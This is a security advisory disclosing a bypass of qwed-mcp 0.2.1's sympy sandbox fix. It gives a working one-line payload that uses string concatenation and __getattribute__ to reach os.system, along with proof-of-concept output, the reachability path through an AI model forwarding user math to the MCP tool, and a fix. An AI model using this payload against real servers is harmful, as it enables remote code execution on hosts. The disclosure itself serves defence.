Skip to content

qwed-mcp: RCE bypass of CVE-2026-55546 fix via __getattribute__ and string concatenation (affects patched 0.2.1)

Critical
rahuldass19 published GHSA-2p69-jpm6-jrxh Aug 27, 2026

Package

pip qwed-mcp (pip)

Affected versions

>= 0.2.1

Patched versions

0.2.2

Description

hey, while looking at the fix for CVE-2026-55546 / GHSA-mw6r-2hvm-4rp2 that landed in qwed-mcp 0.2.1, i found that the new safe_parser.py sandbox can be bypassed on the patched version, giving remote code execution through the verify_math_expression MCP tool. this is a residual bypass of the v0.2.1 fix, not the original pre-fix issue.

what the v0.2.1 fix does

commit 362e618 added src/qwed_mcp/engines/safe_parser.py, wrapping sympy.parsing.sympy_parser.parse_expr with:

  • a regex denylist _DENYLIST_PATTERN (safe_parser.py:30) that rejects literal dunder strings (__globals__, __builtins__, __import__, __class__, __subclasses__, __getattr__, __bases__, __mro__, ...) and word-bounded keywords (\bos\b, \bsystem\b, \bimport\b, \bchr\b, \btype\b, \beval\b, ...).
  • an empty builtins namespace global_dict = {"__builtins__": {}} (safe_parser.py:46).
  • a local_dict of sympy symbols and functions, including sqrt: sympy.sqrt and cbrt: sympy.cbrt (safe_parser.py:79).

the bypass (works on patched 0.2.1)

two problems combine:

  1. the regex only matches LITERAL dunder strings, so splitting a token with string concatenation evades it — '__glo'+'bals'+'__' never contains the literal __globals__. the denylist also bans __getattr__ but forgets __getattribute__ (safe_parser.py:33), and there is no rule for __call__ or .get(.

  2. sqrt and cbrt in the local_dict are real python function objects, so they carry a __globals__ attribute pointing at their module globals, which holds the real __builtins__ dict. because parse_expr ultimately evaluates the expression with eval(code, global_dict, local_dict) (the eval_expr step), attribute access on the local_dict objects is executed as real python.

chain (one line, sent as the expression argument):

sqrt.__getattribute__('__glo'+'bals'+'__')        # -> sqrt.__globals__   (regex evaded; __getattribute__ not denylisted)
 .get('__buil'+'tins'+'__')                       # -> real builtins dict
 .get('__imp'+'ort'+'__').__call__('o'+'s')      # -> __import__('os')   (.get / .__call__ avoid implicit_multiplication '*-insertion between ] and ( )
 .__getattribute__('sy'+'stem').__call__('<cmd>') # -> os.system('<cmd>')

.get(...) and .__call__(...) are used instead of [...] / (...) because the implicit_multiplication_application transformation inserts a * between ]/) and (, which would break the subscript-then-call form.

proof of concept (cold, fresh process)

env: python 3.12.3, sympy 1.14.0, qwed-mcp 0.2.1 source (tag v0.2.1). the attached poc.py loads safe_parser.py standalone and runs the payload through both safe_parse_expr and the MCP tool. outcome:

$ python3 poc.py
FUNCTION_ENTRIES: ['sqrt', 'cbrt']
BUILTINS_TYPE: dict has get: True
REGEX_MATCH: None
CONTROL_BLOCKED: SafeParserError Expression contains disallowed construct: '__import__'   # original CVE payload blocked -> fix is present
BYPASS_RESULT: 0 int                          # safe_parse_expr(payload) returned os.system exit code
MARKER1_CREATED: True                          # side-effect file created via public safe_parse_expr
MCP_VERIFY_RESULT: {'verified': True, 'message': 'Calculation verified', 'expected': '0', 'actual': '0', 'operation': 'evaluate'}
MCP_MARKER2_CREATED: True                      # marker created through the MCP tool verify_math_expression

the CONTROL line confirms the original __import__('os').system('id') payload is blocked on 0.2.1 — so the fix is present and this is genuinely testing patched code. the bypass payload creates a marker file on the host through both safe_parse_expr and the verify_math_expression MCP tool (math_engine.py:40 -> safe_parse_expr).

reachability

the verify_math_expression(expression, claimed_result) MCP tool (src/qwed_mcp/engines/math_engine.py) passes the caller-supplied expression straight into safe_parse_expr (math_engine.py:40), with ^ replaced by **. in normal use a user asks the model to verify a math expression and the model forwards it to the tool, so an attacker-controlled expression (the documented input class — the safe_parser.py docstring says "user-supplied math expressions") reaches eval and executes on the host running qwed-mcp. the claimed_result argument (math_engine.py:50) hits the same safe_parse_expr sink, so it is a second entry point.

affected versions

this is a residual bypass of the v0.2.1 fix. it affects qwed-mcp >= 0.2.1 (0.2.1 is the latest released version and the one that introduced the bypassable safe_parser). the prior advisory GHSA-mw6r-2hvm-4rp2 / CVE-2026-55546 covers < 0.2.1 (the pre-fix literal __import__ form); this is a separate post-fix vector and is not in that range.

suggested fix

the denylist approach is fundamentally insufficient for parse_expr/eval on untrusted input — any literal-string rule is evadable by string concatenation. a robust fix is to walk the AST before evaluation and reject ast.Attribute, ast.Subscript, ast.Lambda, ast.Starred and comprehension nodes: every sandbox-escape traversal needs an Attribute or Subscript node, while legit user math (sqrt(4), 2x, sin(x), x^2, x**2+1) never does. attached as fix.patch. i verified it blocks this bypass and the original CVE payload while preserving all the legit math forms above (no marker leak).

the deeper fix is to not route untrusted input through parse_expr (which uses eval) at all, and use a dedicated safe math parser instead.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

No CWEs

Credits